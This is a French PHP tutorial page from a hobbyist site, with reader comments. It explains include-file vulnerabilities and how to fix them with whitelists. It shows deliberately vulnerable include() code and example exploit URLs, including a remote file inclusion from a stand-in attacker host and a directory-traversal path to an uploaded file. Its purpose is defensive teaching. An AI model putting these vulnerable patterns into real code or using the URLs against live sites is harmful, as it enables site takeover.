4bots

Home
 Edito
 Projets
 Kapharnaüm
 Forums

Contribs
 GraphiK
 ArtiKles
 Prog
PHP, MYSQL
Site Web, DHTML
ASP
C, C++
Visual Basic
Delphi
Java
CGI, Perl
Flash
Game Editing
XML, XHTML, XSL
Coldfusion
DNF
 Tutoriaux
 Rechercher

Goodiez
 ESRA
 Games
 Divers

Download
 Repository

Sheep Corp
 Les Membres
 Foire aux Questions
 Infos sur le site

S'identifier :.

Pseudo

Mot de passe


Membres Connectés
Zéro, nada, pas un sheep.
Douleur
D'après certaines recherches, la plus grande douleur que connaît un être humain dans sa vie est provoquée par sa première inspiration. Juste après sa naissance, sortant du liquide amniotique, le bébé doit respirer ; pour se faire il doit remplir les alvéoles de ses poumons jusqu'alors vides en les gonflant.
Gringo



flora

Voir l'ESRA
Ajouter une def
Fly with me ! de ahinu
Et on passe pour des fous a vouloir faire voler des moutons

Breaking News! de Merlin
Sheep-team is back... and it's gonna kick asses ! (ou pas...)

Yeah Net de Hawai
[This is the end]

Yeah! de Audiofeline
Sheep-Team.org, un site qui doit bien servir à quelque chose

Optimisation de douceur
Renard de feu trop lent? Allez donc là. Ce site vous propose des versions de Firefox et Thunderbird optimisées pour votre processeur.

Les brèves sheep-team dot org c'est la garantie de goodiz frais repêchés chaque jour dans les marécages yodassiens et vendus par cinq sans conservateurs.

Proposer | Archives
7 ans plus tard
affichage d'un frorum DNF avec chrome
Bonne Année
It's alive !!!!
bug report & evolutions
[Sheep Team] The topic
Plus fort que Ride, le nombre 21!
Concour : sheep sur google
Norme
Requete SQL

Prog . PHP, MYSQL

Les failles PHP à éviter - I. Include
Tutorial écrit par Nob le 9 sept 2004

Retour
Les Failles PHP à Eviter - Part I
Failles d'Include


Links
Part I - Failles d'include
Part II - Failles CSS

Intro
Ce tuto rapide présente quelques failles php courantes dont on s'aperçoit généralement pas. Il peut servir autant aux PHPeurs qu'aux hackeurs cubiens (dédié aux zentils white hat, pas aux les ptits cons de black hat et script kiddies).

Vocabulaire
Le hackeur (dans les exmples) c'est quelqu'un qui veut exploiter vos failles pour avoir accès à des trucs interdits (modifier le site, accéder à des zones protégées, etc).
Pour simplifier, j'appellerait exploit le script du hackeur qui utilise votre faille (cf "toutdetruire.txt" ).


1. Les failles d'include (parce que y'en a plein différentes et que ça arrive à bcp trop de monde)

Exploitable: du moment ou les requetes http:// sont permises ou dans d'autres cas (cf la suite) Même si register_glboals est désactivé.

Contexte: Je veux que mon site soit navigable en allant sur index.php?page=dossier/bonjour.php. Donc je fais un script du genre:

A EVITER
<?  // La faille basique

include($page); // ou $_GET['page']

 ?>
Exploit d'inclusion http:
Un con de hackeur survient et va sur la page:
[url]http://votresite.com/?page=http://sitedehackeur.com/toutdetruire.txt[/url]
Votre script télécharge donc toutdetruire.txt et éxécute le code PHP qui bouizille la totalité de votre site ou plus viciseusement lui permet d'accéder à absolument tout.


Maintenant vous êtes un peu plus intelligent (mais pas assez):
A EVITER
<?  // La faille intra-site

include("dossier/".$page);
 ?>
Exploit d'inclusion intra-site:
Le hakeur ne peut plus appeller son site pour télécharger son script destructeur mais en revanche il peut essayer d'exploiter -votre- site.

Si par exemple vous permettez d'une façon quelconque le stockage d'une variable quelconque dans un fichier sur votre site sans la traiter vous êtes foutu.
Par exemple:
- si votre forum permet le stockage des images sans se poser de question:
<? move_uploaded_file ("upload_image","images/123.gif"); ?>
- si vous soquez les commentaires de vos news dans un fichier texte et traitez le messages après:
<? fputs($fp,"$commentaire"); ?>
- etc

Le hackeurs n'a qu'à envoyez un code php à la place de son image/texte et il va sur http://votresite.com/?page=../images/123.gif . Prise de controle du site directe.
Il faut garder en tête qu'on peut remonter d'un répetrtoire en utilisant "../". Il peut donc avori accès à des répertoires protégés par .htaccess (si c'est compatible avec le safe modeen place).


Pour l'exemple du commentaire c'est plus compliqué dans le sens ou la plupart des newbies oublient: à la fois le htmlentities() et aussi le stripslashes(). Le second empechant au hackeur d'utiliser des guillements dans son exploit, il n'ira pas loin si il ne sait pas comment s'en passer (c'est possible mais pas facile).

Ok, maintenant vous êtes quasiment sûr de vous en écrivant ça (et pourtant vous êtes encore loin du compte):
A EVITER
<?  // La faille intra-site

include("dossier/".$page.".php");
 ?>
Accès admin par détournement d'un include:
Imaginez un site du style:
/dossier (qui contient les pages autorisées)
/admin
 /admin/config.php
 /admin/index.php

Avec /admin/index.php du style:
A EVITER
<?
include("./config.php");
if($password_donne==$config_password) {
echo "Bienvenue admin";
}
?>
Exploitable: Seulement si register_globals est On (ou utilisation d'un script pallatif).

Le hackeur appelle:
http://votresite.com/?page=../admin/index
Il se passe quoi ? Ca:
Failed to include config.php
Bienvenue admin
Tout simpelment parce que le if($password_donne==$config_password) devient if(""==""), ce qui est bien entendu VRAI et l'accès devient autorisé.
Ca marche surtout avec les vieilles versios de PHP ou l'include foire facilement. Maintenant l'include_path est moins restrictif. Ca n'empêche pas que ça arrive à facilement foutre le bordel entre les répertories et que c'est donc dangereux (au niveau de fopen() surtout).


BREF, comment faire un truc à peu près sécurisé:
<?

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("dossier/$page.php")) die("Page inexistante");

?>
Les caractères des pages sont alors limités aux lettres/chiffres espace et _.

Sinon y'a aussi la méthode du switch avec une liste exhaustive des pages pour paranos ou si y'en a peu:
switch ($page) {
    case 'news': case 'forum':
    include('dossier/'.$page.'.php');
    break;
    default:
        include('dossier/acceuil.php'); 
     break;
}
Les autres failles un autre jour, ça commence à être long là
Infos:

Par: Nob
Rubrique: PHP, MYSQL
Appréciation:

Favoris: 1
Commentaires: 24
Popularité:

Vues: 171
Tutorial:

Taille: 9ko
Signaler un problème avec la charte
(copyright, contenu, ...)
Commentaires
Omix




Envoyé le:
21/03/05 14:17
Signaler un problème avec la charte
(copyright, contenu, ...)
J'ai une autre methode à proposé un peux plus securisé
certe ce n'est pas dans le meme genre.
<?

switch($id)
{
case 1 :
include "inc/page.php";
break;

case 2 :
include "inc/page2.php";
}

?>

j'en profite aussi pour dire au webmater quil vaux mieux inclure des fichier a l'extansion .php que .txt effectivement on apercoi souvent des fichier php source contenu dans un fichier text ce qui offre la possibilité à tous les visiteur de visioner les source php voila :]
bonne continuation.
Ridehard
Vive lui!!!



Envoyé le:
21/03/05 14:23
Signaler un problème avec la charte
(copyright, contenu, ...)
Sinon y'a aussi la méthode du switch avec une liste exhaustive des pages pour paranos

CQFD
skp




Envoyé le:
06/07/05 10:41
Signaler un problème avec la charte
(copyright, contenu, ...)
Slt, moi j'fait comme Omix !
if(!empty($_GET['pg']))
  switch($_GET['pg']){
// Liens page //////
    case 'fichier_1':include('dossier/fichier.php');break;
Et j'lattend le haker ! j'lattend ! eu... non j'lattend pas !

Merlin
appelez moi dieu



Envoyé le:
06/07/05 13:18
Signaler un problème avec la charte
(copyright, contenu, ...)
tjs comme ca que je fais aussi...

mais bon pour le prochain site (dans 100 ans...) ca sera le même principe mais avec une BDD derrière...
Pages<12
Up!
© 2012 Sheep Team. Tous droits réservés.
Toute reproduction même partielle est interdite sans l'accord exprès, préalable et écrit de tous les auteurs concernés. Charte.